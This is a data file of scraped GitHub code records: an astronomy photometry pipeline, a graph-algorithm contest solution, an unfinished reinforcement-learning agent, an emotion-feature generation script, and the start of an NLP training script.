os.path.exists(x)]\n\n print('%sZ: %s files to process' %\n (datetime.utcnow().isoformat(), len(tasks)))\n\n if len(tasks) > 0:\n\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n\n\n # fire up the pool of workers\n results = pool.map(parallel_convsubphotdb_worker, tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n return {x:y for (x,y) in results}\n\n else:\n\n print('ERR! %sZ: none of the files specified exist, bailing out...' %\n (datetime.utcnow().isoformat(),))\n return\n\n\n\n\n############################\n## LIGHT CURVE PRODUCTION ##\n############################\n\n# we'll make hatlc.sqlite type files, collecting them in /P/LC, under the\n# following organization:\n# {primary_field}/{hatid}-DR{datarelease}-V{lcversion}.hatlc.sqlite(.gz)\n# we'll collect all photometry across observed fields and CCDs in the same file\n\ndef collect_lightcurve(objectid,\n datarelease,\n lcversion,\n objectfield=None,\n lcbasedir=LCBASEDIR,\n updateifexists=True,\n database=None):\n \"\"\"\n This collects lightcurves for objectid into a hatlc.sqlite file.\n\n We'll collect all photometry across observed fields and CCDs in the same\n file, organized as below:\n\n {LCBASEDIR} / DR{datarelease} / {primary_field} /\n {hatid}-DR{datarelease}-V{lcversion}.hatlc.sqlite\n\n If an LC doesn't exist for this objectid/datarelease/lcversion, then creates\n a new sqlitecurve. If one already exists and updateifexists is True, updates\n the light curve with new observations.\n\n FIXME: if we're going to run realtime imagesubphot, this will require that a\n collect_lightcurve is run after every image is taken. This will probably be\n stupidly slow...\n \"\"\"\n\n # open a database connection\n if database:\n database.autocommit = True # this is a readonly connection\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n database.autocommit = True\n cursor = database.cursor()\n closedb = True\n\n # start work here\n try:\n\n # find the photometry for the specified objectid\n query = (\"select a.projectid, a.field, a.ccd, a.photreftype, \"\n \"a.convsubtype, a.iphotfilepath, a.framefilepath, \"\n \"a.framerjd, b.iphotfileline \"\n \"from iphotfiles a join iphotobjects b on \"\n \"(a.iphotfilepath = b.iphotfilepath) \"\n \"where \"\n \"(isactive = true) and \"\n \"(b.objectid = %s) order by a.framerjd asc\")\n params = (objectid, )\n\n cursor.execute(query, params)\n rows = cursor.fetchall()\n\n # if there are any rows, then there are some detections of this object\n if rows and len(rows) > 0:\n\n if HATIDREGEX.match(objectid):\n primary_field = objectid.split('-')[1]\n elif objectfield:\n primary_field = objectfield\n else:\n primary_field = 'nofield'\n\n # prepare the output directory\n lcdir = os.path.join(LCBASEDIR,\n 'DR%s' % datarelease,\n '%s' % primary_field)\n\n # make the light curve directory if it doesn't exist\n if not os.path.exists(lcdir):\n os.mkdirs(lcdir)\n\n # this is the path to the light curve file itself\n lcfbasename = '{objectid}-DR{datarelease}-V{lcversion}-hatlc.sqlite'\n lcfpath = os.path.join(lcdir, lcfbasename)\n\n # if it doesn't exist, we can make a new file\n if not os.path.exists(lcfpath):\n\n sqlcdb = sqlite3.connect(lcfpath)\n sqlcur = sqlcdb.cursor()\n\n # read in the hatlc.sql file and execute it to generate the\n # tables for the hatlc\n hatlcsqlf = os.path.join(os.path.dirname(__file__),\n 'hatlc.sql')\n with open(hatlcsqlf,'rb') as infd:\n hatlcsql = infd.read()\n\n sqlcur.executescript(hatlcsql)\n # the lightcurve is now ready to use, but has no information in\n # it, we'll add this at a later step\n\n\n # check if the path to it exists and if updateifexisting is True\n # if so, we can update it\n if updateifexisting:\n\n print('WRN! %sZ: objectid %s has an '\n 'existing LC %s, updating...' %\n (datetime.utcnow().isoformat(), objectid, lcfpath) )\n\n # if we're not allowed to update it, fail out\n else:\n\n print('ERR! %sZ: objectid %s has an existing LC %s '\n 'and updateifexisting = False, skipping this object...' %\n (datetime.utcnow().isoformat(), objectid, lcfpath) )\n return objectid, None\n\n # now read in the iphot files one-by-one and write their photometry\n # lines to the sqlite\n for row in rows:\n\n (projectid, ofield, ccd, photreftype,\n convsubtype, iphot, frame, rjd, iphotline) = row\n\n # open the iphot file\n with open(iphot,'rb') as infd:\n for ind, line in enumerate(infd):\n if ind == iphotline:\n photelemline = line.rstrip(' \\n')\n break\n\n photelem = photelemline.split()\n\n if len(photelem) > 0:\n\n # get the station, framenumber, subframe, and ccd\n framekeyelems = FRAMESUBREGEX.findall(\n os.path.basename(iphot)\n )\n stf, cfn, cfs, fccd = (\n framekeyelems[0][0],\n framekeyelems[0][1],\n framekeyelems[0][2],\n framekeyelems[0][3]\n )\n net = 'HP' # this will be 'HP' for HATPI\n\n # these are things we get from the iphot line\n # hat, xcc, ycc, xic, yic\n # fsv, fdv, fkv, bgv, bge\n # ifl1, ife1, irm1, ire1, irq1\n # ifl2, ife2, irm2, ire2, irq2\n # ifl2, ife2, irm2, ire2, irq2\n\n hat, xcc, ycc, xic, yic = photelem[:5]\n fsv, fdv, fkv, bgv, bge = photelem[5:10]\n ifl1, ife1, irm1, ire1, irq1 = photelem[10:15]\n ifl2, ife2, irm2, ire2, irq2 = photelem[15:20]\n ifl3, ife3, irm3, ire3, irq3 = photelem[20:]\n\n # format these as needed\n xcc = smartcast(xcc, float)\n ycc = smartcast(ycc, float)\n xic = smartcast(xic, float)\n yic = smartcast(yic, float)\n\n fsv = smartcast(fsv)\n fdv = smartcast(fdv)\n fkv = smartcast(fkv)\n bgv = smartcast(bgv)\n bge = smartcast(bge)\n\n # TODO: finish this\n\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to collect light curve for %s, DR%s, V%s' % (\n objectid, datarelease, lcversion\n )\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (objectid, None)\n raise\n\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n##############################\n## 'FORCED PHOTOMETRY TOOLS ##\n##############################\n\n# 1. convert coords of forced source to x,y on photref\n# 2. generate a fake .cmrawphot using the COMBINEDREFPHOTCMD fiphot, allow a\n# custom aperture string\n# 3. once we have the fake cmrawphot, use it as input for SUBFRAMEPHOTCMD\n# 4. this will make iphots for the target\n# 5. insert into the DB in the forcedphot table, assign a HPT-XXX-YYYYYYY name,\n# insert into the forcedhatids table as well\n# 6. collect the light curve the usual way\n# 7. run EPD\n# 8. run TFA (how?)\n\ndef forcedphot_generate_cmrawphot(\n objectid,\n ra,\n decl,\n projectid,\n field,\n ccd,\n photreftype,\n outfile,\n apertures='1.95:7.0:6.0,2.45:7.0:6.0,2.95:7.0:6.0',\n ccdgain=None,\n zeropoint=None,\n ccdexptime=None,\n extractsources=True,\n refinfo=REFINFO):\n \"\"\"\n This generates a cmrawphot file for objectid on the photref.\n\n objectid, ra, decl are either scalars or lists for the objects to do forced\n photometry for.\n \"\"\"\n\n # first, get the photrefinfo\n cphotref = get_combined_photref(projectid,\n field,\n ccd,\n photreftype,\n refinfo=refinfo)\n\n # get the path to the photref fits\n framepath = cphotref['framepath']\n\n # find the WCS header of the cphotref\n wcspath = framepath.replace('.fits','.wcs')\n\n if os.path.exists(wcspath):\n photrefwcs = wcs.WCS(wcspath)\n else:\n print(\"ERR! %sZ: no WCS header found for %s, can't continue\" %\n (datetime.utcnow().isoformat(), framepath))\n return None\n\n # get info from the frame\n # get the required header keywords from the FITS file\n header = imageutils.get_header_keyword_list(framepath,\n ['GAIN',\n 'GAIN1',\n 'GAIN2',\n 'EXPTIME',\n 'RAC',\n 'DECC',\n 'FOV'])\n\n # get the RA and DEC from the frame header for astrometry\n if 'RAC' in header and 'DECC' in header:\n frame_ra = header['RAC']*360.0/24.0\n frame_dec = header['DECC']\n else:\n print('ERR! %sZ: no RAC or DECC defined for %s' %\n (datetime.utcnow().isoformat(),\n framepath))\n return None\n\n # figure out the width of the frame for astrometry\n if 'FOV' in header:\n framewidth = header['FOV']\n elif framewidth is None:\n print('ERR! %sZ: no frame width defined for %s, '\n 'astrometry not possible' %\n (datetime.utcnow().isoformat(),\n framepath))\n return None\n\n # handle the gain and exptime parameters\n if not ccdgain:\n\n if 'GAIN1' in header and 'GAIN2' in header:\n ccdgain = (header['GAIN1'] + header['GAIN2'])/2.0\n elif 'GAIN' in header:\n ccdgain = header['GAIN']\n else:\n ccdgain = None\n\n if not ccdexptime:\n ccdexptime = header['EXPTIME'] if 'EXPTIME' in header else None\n\n if not (ccdgain or ccdexptime):\n print('ERR! %sZ: no GAIN or EXPTIME defined for %s' %\n (datetime.utcnow().isoformat(),\n framepath))\n return None\n\n # handle the zeropoints\n # if the zeropoint isn't provided and if this is a HAT frame, the ccd\n # number will get us the zeropoint in the ZEROPOINTS dictionary\n if not zeropoint and ccdnumber in ZEROPOINTS:\n zeropoint = ZEROPOINTS[ccdnumber]\n else:\n print('ERR! %sZ: no zeropoint magnitude defined for %s' %\n (datetime.utcnow().isoformat(),\n framepath))\n return None\n\n\n ##############################\n # NOW GENERATE THE CMRAWPHOT #\n ##############################\n\n # put the objectid, ra, decl into the correct format\n\n if not isinstance(objectid, list) or not isinstance(objectid, tuple):\n objectid = [objectid]\n if not isinstance(ra, list) or not isinstance(ra, tuple):\n ra = [ra]\n if not isinstance(decl, list) or not isinstance(decl, tuple):\n decl = [decl]\n\n objectids = np.array(objectid)\n ras = np.array(ra)\n decls = np.array(decl)\n coords = np.column_stack((ras,decls))\n\n # convert RA/DEC to pixel x/y\n pixcoords = photrefwcs.all_world2pix(coords,1)\n\n # generate a sourcelist temp file\n srclist = tempfile.NamedTemporaryFile(delete=False)\n srclistf = srclist.name\n for o, r, d, pc in zip(objectids, ras, decls, pixcoords):\n srclist.write('{:s} {:.5f} {:.5f} {:.3f} {:.3f}\\n'.\n format(o, r, d, pc[0], pc[1]).encode('utf-8'))\n\n srclist.close()\n\n # use this srclist as input to the cmrawphot command\n cmdtorun = ism.COMBINEDPHOTREFCMD.format(\n photref=framepath,\n srclist=srclistf,\n srclist_idcol='1',\n srclist_xycol='4,5',\n ccdgain=ccdgain,\n zeropoint=zeropoint,\n exptime=ccdexptime,\n aperturestring=apertures,\n photrefbase=os.path.splitext(os.path.basename(framepath))[0],\n outfile=outfile\n )\n\n print('fiphot command: %s' % cmdtorun)\n\n returncode = os.system(cmdtorun)\n\n # remove the tempfile\n if os.path.exists(srclistf):\n os.remove(srclistf)\n photrefwcs.close()\n\n if returncode == 0:\n print('%sZ: forced photometry on photref %s OK -> %s' %\n (datetime.utcnow().isoformat(), framepath, outfile))\n return framepath, outfile\n else:\n print('ERR! %sZ: forced photometry on photref %s failed!' %\n (datetime.utcnow().isoformat(), framepath))\n if os.path.exists(outfile):\n os.remove(outfile)\n return framepath, None\n\n\n\ndef forcedphot_subphot_worker(task):\n \"\"\"\n This does subtracted frame photometry on forced-phot objects.\n\n task[0] = subframe\n task[1] = photreftype\n task[2] = kernelspec\n task[3] = lcapertures\n task[4] = disjointradius\n task[5] = outdir\n task[6] = frcmrawphot\n \"\"\"\n\n (subframe, photreftype, kernelspec,\n lcapertures, disjrad, outdir, frcmrawphot) = task\n\n try:\n\n # generate the convsubfits hash\n convsubhash = ism.get_convsubfits_hash(\n photreftype,\n ('reverse' if os.path.basename(subframe).startswith('rsub')\n else 'normal'),\n kernelspec\n )\n\n frameinfo = FRAMEREGEX.findall(\n os.path.basename(subframe)\n )\n\n # first, figure out the input frame's projid, field, and ccd\n frameelems = get_header_keyword_list(subframe,\n ['object',\n 'projid'])\n field, ccd, projectid = (frameelems['object'],\n int(frameinfo[0][2]),\n frameelems['projid'])\n\n # then, find the associated cmrawphot\n cphotref_cmrawphot = frcmrawphot\n\n # find matching kernel, itrans, and xysdk files for each subtracted\n # frame\n\n photrefbit = (\n 'rsub' if os.path.basename(subframe).startswith('rsub') else 'nsub'\n )\n\n kernelf = '%s-%s-%s-%s_%s-xtrns.fits-kernel' % (photrefbit,\n convsubhash,\n frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n kernel = os.path.abspath(os.path.join(os.path.dirname(subframe),kernelf))\n\n itransf = '%s-%s_%s.itrans' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n itrans = os.path.abspath(os.path.join(os.path.dirname(subframe),itransf))\n\n xysdkf = '%s-%s_%s.xysdk' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n xysdk = os.path.abspath(os.path.join(os.path.dirname(subframe),xysdkf))\n\n\n # write the photometry file to /dev/shm by default\n # if outdir is None:\n # outdir = '/dev/shm'\n\n _, subphot = ism.subframe_photometry_worker(\n (subframe, cphotref_cmrawphot, disjrad,\n kernel, itrans, xysdk, outdir,\n photreftype, kernelspec, lcapertures)\n )\n\n if subphot and os.path.exists(subphot):\n\n print('%sZ: CONVSUBPHOT (FORCED) OK: '\n 'subtracted frame %s, photometry file %s' %\n (datetime.utcnow().isoformat(), subframe, subphot))\n\n return subframe, subphot\n\n else:\n\n print('%sZ: CONVSUBPHOT (FORCED) FAILED: subtracted frame %s' %\n (datetime.utcnow().isoformat(), subframe))\n\n return subframe, None\n\n\n except Exception as e:\n\n message = ('could not do CONVSUBPHOT (FORCED) for %s, '\n 'exception follows' % subframe)\n print('EXC! %sZ: %s\\n%s' %\n (datetime.utcnow().isoformat(), message, format_exc()) )\n\n return subframe, None\n\n\n\ndef parallel_convsubfits_forcedphot(\n subfitslist,\n forcedphot_cmrawphot,\n outdir,\n photreftype='oneframe',\n kernelspec='b/4;i/4;d=4/4',\n lcapertures='1.95:7.0:6.0,2.45:7.0:6.0,2.95:7.0:6.0',\n photdisjointradius=2,\n nworkers=16,\n maxworkertasks=1000,):\n \"\"\"\n This does forced object photometry on the all subtracted FITS in\n subfitslist using the forcedphot_cmrawphot as input.\n\n Make sure the outdir is NOT the same as the dirname for the usual output\n iphot files. A good plan is to append forcedphot- in the directory name.\n \"\"\"\n\n tasks = [(x, photreftype, kernelspec,\n lcapertures, photdisjointradius,\n outdir, forcedphot_cmrawphot)\n for x in subfitslist if os.path.exists(x)]\n\n if len(tasks) > 0:\n\n # make sure the output directory exists\n if not os.path.exists(outdir):\n os.mkdir(outdir)\n\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n\n # fire up the pool of workers\n results = pool.map(forcedphot_subphot_worker, tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n return {x:y for (x,y) in results}\n\n else:\n\n print('ERR! %sZ: none of the files specified exist, bailing out...' %\n (datetime.utcnow().isoformat(),))\n return\n\n\n# AFTER THE ABOVE FOR FORCED PHOTOMETRY:\n\n# 1. run the usual collection function: insert_phots_into_database with photdir\n# set to that of the forcedphot- output iphot directory.\n# 2. then for each 'hatid', run the light curve collection function:\n# dbphot_collect_imagesubphot_lightcurve, where 'hatid' is usally a special\n# objectid that we gave to the object we're doing forced photometry for\n\n\n##############################\n## MOVING OBJECT PHOTOMETRY ##\n##############################\n\n# TODO: figure out how to do moving object photometry: one way would be to use\n# the orbital elements or whatever to figure out the ra/dec of the moving object\n# at each center time of each frame in framedir, then generate a forced\n# photometry cmrawphot for each of these positions as separate 'subhatids'. then\n# run parallel_subhot_forcedphot as usual. this should give you iphots with\n# information for each subhatid. then, using a map between subhatid and\n# framenumber, collect the correct light curve and write out to a file.\n\n\n\n###################\n## VISUALIZATION ##\n###################\n\n\ndef subfits_to_jpeg_series(subframedir,\n subframeglob='rsub-*-xtrns.fits',\n origframedir=None,\n outdir=None,\n makemovie=False,\n moviefps=10):\n \"\"\"\n This generates JPEGs for all subtracted FITS in subframedir.\n\n origframedir is directory of the original FITS to get JD from.\n \"\"\"\n\n subframes = sorted(glob.glob(os.path.join(subframedir, subframeglob)))\n\n if origframedir is None:\n origframedir = subframedir\n\n if outdir is None:\n outdir = subframedir\n\n if subframes:\n\n nsubframes = len(subframes)\n\n for ind, frame in enumerate(subframes):\n\n frameinfo = FRAMEREGEX.findall(os.path.basename(frame))\n if '.fz' in frame:\n originalframe = '%s-%s_%s.fits.fz' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n outfname = os.path.join(\n outdir,\n os.path.basename(frame).replace('.fits.fz',\n '.jpg')\n )\n else:\n originalframe = '%s-%s_%s.fits' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n outfname = os.path.join(outdir,\n os.path.basename(frame).replace('.fits',\n '.jpg'))\n\n originalframe = os.path.join(origframedir, originalframe)\n\n # generate the JPEG\n jpeg = fits_to_full_jpeg(frame,\n out_fname=outfname,\n fits_jdsrc=originalframe)\n print('(%s/%s) subframe: %s -> jpeg: %s OK' %\n (ind+1, nsubframes, frame, jpeg))\n\n\n # make a movie if we're told to do so\n if makemovie:\n\n movie_fname = os.path.join(outdir, 'subframe-movie.mp4')\n jpgglob = subframeglob.replace('.fits','.jpg')\n moviefile = make_frame_movie(outdir,\n movie_fname,\n framerate=moviefps,\n jpegglob=jpgglob)\n return outdir, moviefile\n\n else:\n\n return outdir, None\n\n # if no subframes were found in this directory, do nothing\n else:\n print('no subtracted frames found in %s' % subframedir)\n return None, None\n\n\n\ndef subfits_radec_to_jpeg_series(subframedir,\n radecspec,\n astromrefwcs,\n subframeglob='rsub-*-xtrns.fits',\n origframedir=None,\n outdir=None,\n makemovie=False,\n moviefps=10):\n \"\"\"\n This generates JPEGs for all subtracted FITS in subframedir.\n\n origframedir is directory of the original FITS to get JD from.\n\n radecspec is a list with four elements:\n\n [racenter (decimal), declcenter (decimal),\n ra width (decimal), decl height (decimal)]\n\n astromrefwcs is the file to get the WCS info from. this must be from the\n astrometric reference (i.e. the frame all other frames were shifted\n to). this is used because the individual WCS corresponding to each\n subtracted frame are usually the same as the original frame WCS, which may\n have been shifted around to match the astromref so any RA/DEC -> x/y\n transform will give the wrong results.\n \"\"\"\n\n subframes = sorted(glob.glob(os.path.join(subframedir, subframeglob)))\n\n if origframedir is None:\n origframedir = subframedir\n\n if outdir is None:\n outdir = subframedir\n elif outdir and not os.path.exists(outdir):\n os.mkdir(outdir)\n\n if subframes:\n\n nsubframes = len(subframes)\n\n for ind, frame in enumerate(subframes):\n\n frameinfo = FRAMEREGEX.findall(os.path.basename(frame))\n if '.fz' in frame:\n originalframe = '%s-%s_%s.fits.fz' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n outfname = os.path.join(\n outdir,\n os.path.basename(frame).replace('.fits.fz',\n '.jpg')\n )\n else:\n originalframe = '%s-%s_%s.fits' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n outfname = os.path.join(outdir,\n os.path.basename(frame).replace('.fits',\n '.jpg'))\n\n originalframe = os.path.join(origframedir, originalframe)\n\n # generate the JPEG\n jpeg = frame_radecbox_to_jpeg(frame,\n wcsfrom=astromrefwcs,\n radeccenter=radecspec,\n jdsrc=originalframe,\n out_fname=outfname)\n print('(%s/%s) subframe: %s -> jpeg: %s OK' %\n (ind+1, nsubframes, frame, jpeg))\n\n\n # make a movie if we're told to do so\n if makemovie:\n\n movie_fname = os.path.join(outdir, 'subframe-movie.mp4')\n jpgglob = subframeglob.replace('.fits','.jpg')\n moviefile = make_frame_movie(outdir,\n movie_fname,\n framerate=moviefps,\n jpegglob=jpgglob)\n return outdir, moviefile\n\n else:\n\n return outdir, None\n\n # if no subframes were found in this directory, do nothing\n else:\n print('no subtracted frames found in %s' % subframedir)\n return None, None\n\n\n\ndef subfits_pixbox_to_jpeg_series(subframedir,\n pixspec,\n pixspectype='center',\n subframeglob='rsub-*-xtrns.fits',\n origframedir=None,\n outdir=None,\n makemovie=False,\n moviefps=10):\n \"\"\"\n This generates JPEGs for all subtracted FITS in subframedir.\n\n origframedir is directory of the original FITS to get JD from.\n\n if pixspectype = 'center':\n\n radecspec is a list with four elements:\n\n [pixcenter (decimal), pixcenter (decimal),\n pix width (decimal), pix height (decimal)]\n\n elif pixspectype = 'box':\n\n radecspec is a list with four elements:\n\n [xminpix, xmaxpix, yminpx, ymaxpx]\n \"\"\"\n\n subframes = sorted(glob.glob(os.path.join(subframedir, subframeglob)))\n\n if origframedir is None:\n origframedir = subframedir\n\n if outdir is None:\n outdir = subframedir\n elif outdir and not os.path.exists(outdir):\n os.mkdir(outdir)\n\n if subframes:\n\n nsubframes = len(subframes)\n\n for ind, frame in enumerate(subframes):\n\n frameinfo = FRAMEREGEX.findall(os.path.basename(frame))\n if '.fz' in frame:\n originalframe = '%s-%s_%s.fits.fz' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n outfname = os.path.join(\n outdir,\n os.path.basename(frame).replace('.fits.fz',\n '.jpg')\n )\n else:\n originalframe = '%s-%s_%s.fits' % (frameinfo[0][0],\n frameinfo[0][1],\n frameinfo[0][2])\n outfname = os.path.join(outdir,\n os.path.basename(frame).replace('.fits',\n '.jpg'))\n\n originalframe = os.path.join(origframedir, originalframe)\n\n # generate the JPEG\n if pixspectype == 'center':\n jpeg = fitscoords_to_jpeg(frame,\n coordcenter=pixspec,\n jdsrc=originalframe,\n out_fname=outfname)\n elif pixspectype == 'box':\n jpeg = fitscoords_to_jpeg(frame,\n coordbox=pixspec,\n jdsrc=originalframe,\n out_fname=outfname)\n\n\n print('(%s/%s) subframe: %s -> jpeg: %s OK' %\n (ind+1, nsubframes, frame, jpeg))\n\n\n # make a movie if we're told to do so\n if makemovie:\n\n movie_fname = os.path.join(outdir, 'subframe-movie.mp4')\n jpgglob = subframeglob.replace('.fits','.jpg')\n moviefile = make_frame_movie(outdir,\n movie_fname,\n framerate=moviefps,\n jpegglob=jpgglob)\n return outdir, moviefile\n\n else:\n\n return outdir, None\n\n # if no subframes were found in this directory, do nothing\n else:\n print('no subtracted frames found in %s' % subframedir)\n return None, None\n\n\n#############################\n## LIGHT CURVE EPD AND TFA ##\n#############################\n\n\n\n###########################\n## CRON ROLLUP FUNCTIONS ##\n###########################\n","repo_name":"waqasbhatti/cdips-pipeline","sub_path":"autoimagesub.py","file_name":"autoimagesub.py","file_ext":"py","file_size_in_byte":200824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74837570802","text":"from sys import stdin\n\nINF = int(1e9)\nN = int(stdin.readline())\nboard = [[INF for i in range(N)] for j in range(N)]\nfor i in range(N): board[i][i] = 0\nwhile True:\n A, B = map(int, stdin.readline().split())\n if A == -1 and B == -1: break\n board[A - 1][B - 1], board[B - 1][A - 1] = 1, 1\nfor k in range(N):\n for i in range(N):\n for j in range(N):\n board[i][j] = min(board[i][j], board[i][k] + board[k][j])\ntotal = min(map(max, board))\nmaxs = list(map(max, board))\nresult = []\nfor i in range(N):\n if maxs[i] == total:\n result.append(i + 1)\nprint(total, len(result))\nprint(*result)","repo_name":"Terra2007/Algorithm","sub_path":"백준/Gold/2660. 회장뽑기/회장뽑기.py","file_name":"회장뽑기.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"5932304596","text":"import gym, gym.spaces\nimport tensorflow as tf\nimport tensorflow_probability as tfp\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\nfrom collections import deque\nfrom utils import *\n\n\nclass COPOS:\n def __init__(self, args, sess):\n \"\"\"\n Initialize COPOS agent class\n \"\"\"\n env = gym.make(args.env)\n self.env = env\n self.obs_dim = self.env.observation_space.shape[0]\n self.act_dim = self.env.action_space.n\n self.render = True\n\n # Hyperparameters\n self.lr = args.lr\n self.gamma = args.gamma\n self.num_ep = args.num_ep\n\n # Initialize empty reward list\n self.rew_list = []\n\n # Build policy model\n self.__init__placeholders()\n self.build_policy()\n self.sess = sess\n self.sess.run(tf.global_variables_initializer())\n\n def __init__placeholders(self):\n \"\"\"\n Define Tensorflow placeholders\n \"\"\"\n self.obs = tf.placeholder(dtype=tf.float32, shape=[None, self.obs_dim], name='obs')\n self.act = tf.placeholder(dtype=tf.float32, shape=[None, self.act_dim], name='act')\n self.adv = tf.placeholder(dtype=tf.float32, shape=[None], name='adv')\n self.old_std = tf.placeholder(dtype=tf.float32, shape=[None, self.act_dim], name='old_std')\n self.old_mean = tf.placeholder(dtype=tf.float32, shape=[None, self.obs_dim], name='old_mean')\n\n def build_policy(self):\n \"\"\"\n Neural Network Model of the COPOS agent\n \"\"\"\n # Create the neural network with output as mean\n self.mean = [1., -1]\n self.std = [1, 2.]\n self.act_dist = tfp.distributions.MultivariateNormalDiag(self.mean, self.std)\n\n def pick_action(self, state):\n \"\"\"\n Choose an action\n \"\"\"\n action = self.act_dist.sample().eval()\n return np.argmax(action)\n\n def store_memory(self, transition):\n return\n\n def loss(self):\n \"\"\"\n Compute loss\n \"\"\"\n # Log probabilities of new and old actions\n old_act_dist = tfp.distributions.MultivariateNormalDiag(self.old_mean, self.old_std)\n self.old_log_prob = tf.reduce_sum(old_act_dist.log_prob(self.act))\n self.log_prob = tf.reduce_sum(self.act_dist.log_prob(self.act))\n prob_ratio = tf.exp(self.log_prob - self.old_log_prob)\n\n # Surrogate Loss\n self.surrogate_loss = -tf.reduce_mean(prob_ratio*self.adv)\n\n # KL Divergence\n self.kl = tfp.distributions.kl_divergence(self.act_dist, old_act_dist)\n\n # Entropy\n self.entropy = tf.reduce_mean(self.act_dist.entropy())\n\n def train(self):\n \"\"\"\n Train using COPOS algorithm -\n \"\"\"\n\n\n def rollout(self, timestep_limit=1000):\n \"\"\"\n Simulate the agent for fixed timesteps\n \"\"\"\n data = deque(maxlen=timestep_limit)\n obs = self.env.reset()\n tot_rew = 0\n done = False\n for t in range(timestep_limit):\n t += 1\n if self.render and t % 50 == 0:\n self.env.render()\n action = self.pick_action(obs)\n new_obs, rew, done, info = self.env.step(action)\n\n # Store transition\n transition = deque((obs, action, rew, new_obs, done))\n data.append(transition)\n\n if done:\n print(\"Terminated after %s timesteps\" % t)\n return data\n obs = new_obs\n\n def print_results(self):\n \"\"\"\n Plot the results\n \"\"\"\n return","repo_name":"Suman7495/Deep-Reinforcement-Learning","sub_path":"COPOS/copos.py","file_name":"copos.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"36371473113","text":"from run import run_task\nfrom load import IEMOCAPData, BlizzardData, BlizzardTestData\nfrom helper import save_to_file, get_task\nimport os\nfrom __init__ import _PROJECT_NAME\n\n_num_epochs = 40\n_interactive = __name__ == '__main__'\n\nos.environ['project_DIR'] = os.path.join(os.path.abspath(__file__).split('/'+_PROJECT_NAME)[0], _PROJECT_NAME)\nos.environ['SOURCE_DIR'] = os.path.join(os.environ['project_DIR'], 'data')\nos.environ['DATA_DIR'] = os.path.join(os.environ['project_DIR'], 'data')\n\n\"\"\"\nUSAGE\nThrough Son of Grid Engine:\n\n- Or, single job:\nqsub -N ~/submit.sh ../src/gen.py \n\n- Or, array job:\nqsub \\\n -N \\\n -t -:1 \\\n -tc \\\n ~/submit.sh ../src/gen.py \n\n- Through python command line:\npython ../src/gen.py \n\"\"\"\n\n\ndef gen_features(model, data_provider, feature_names='cat'):\n if isinstance(feature_names, str):\n feature_names = [feature_names]\n\n feature_dir = os.path.join(os.environ['project_DIR'], 'results', model.experiment_name, 'features')\n if not os.path.isdir(feature_dir):\n os.mkdir(feature_dir)\n\n supported = ['cat', 'dim', 'eGeMAPS']\n feature_names = filter(lambda f: f in supported, feature_names)\n if len(feature_names) == 0:\n raise ValueError(\n 'feature type(s) not recognised or not supported\\ngot {}'.format(' '.join(feature_names)))\n\n features = []\n for feature_name in feature_names:\n if feature_name == 'cat':\n features.append(model.output_handlers['Categorical-4'].predictions)\n if feature_name == 'dim':\n features.append(model.output_handlers['Dimensional-3'].predictions)\n if feature_name == 'eGeMAPS':\n features.append(model.input_handlers['eGeMAPS-88'].inputs)\n\n for feature_name in feature_names:\n if not os.path.isdir(os.path.join(feature_dir, feature_name)):\n os.mkdir(os.path.join(feature_dir, feature_name))\n\n # for all batches in the data_provider, perform inference for the given features and save to files\n print('Generating for features (using {}): {}'.format(data_provider.__class__.__name__, ' '.join(feature_names)))\n for batch in data_provider.all_data():\n # This would need to be changed to use whatever arbitrary input type the model specifies\n feed_dict = {\n model.input_handlers['eGeMAPS-88'].inputs: batch.input_func,\n model.input_handlers['eGeMAPS-88'].is_training: False\n }\n\n batch_features = model.sess.run(features, feed_dict=feed_dict)\n\n for feature_name, batch_feature in zip(feature_names, batch_features):\n for utt_name, feature_val in zip(batch.utt_name, batch_feature):\n save_to_file(feature_val.reshape(-1), os.path.join(feature_dir, feature_name, utt_name), '.'+feature_name)\n\n\nif _interactive:\n task = get_task()\n\n model, _ = run_task(task)\n\n gen_features(model, BlizzardData({'load_lld_features': False, 'load_emo_labels': False}), task['features'])\n gen_features(model, BlizzardTestData({'load_lld_features': False, 'load_emo_labels': False}), task['features'])\n\n\n\n","repo_name":"ZackHodari/IS18_control_space","sub_path":"src/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"22207124783","text":"from cProfile import label\nfrom email.policy import strict\nimport json\nimport os, importlib\nimport sys\nfrom typing import Any\nfrom transformers import AdamW,get_linear_schedule_with_warmup \nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.utils.data import DataLoader, Dataset\n\nimport numpy as np\nimport argparse\nfrom preprocess import data_conll,tools\nimport random\nfrom src.model import DADP\nfrom src import span_loss, mmd_loss, metrics\n\nfrom src.basic_utils import init_args, init_logger, init_seed\n\n\nfrom tqdm import tqdm\n\ninit_seed(seed= 42)\n\n#global setting\nimport os\nos.environ[\"TOKENIZERS_PARALLELISM\"] = 'true'\ndevice = torch.device('cuda')\n\n\ndef 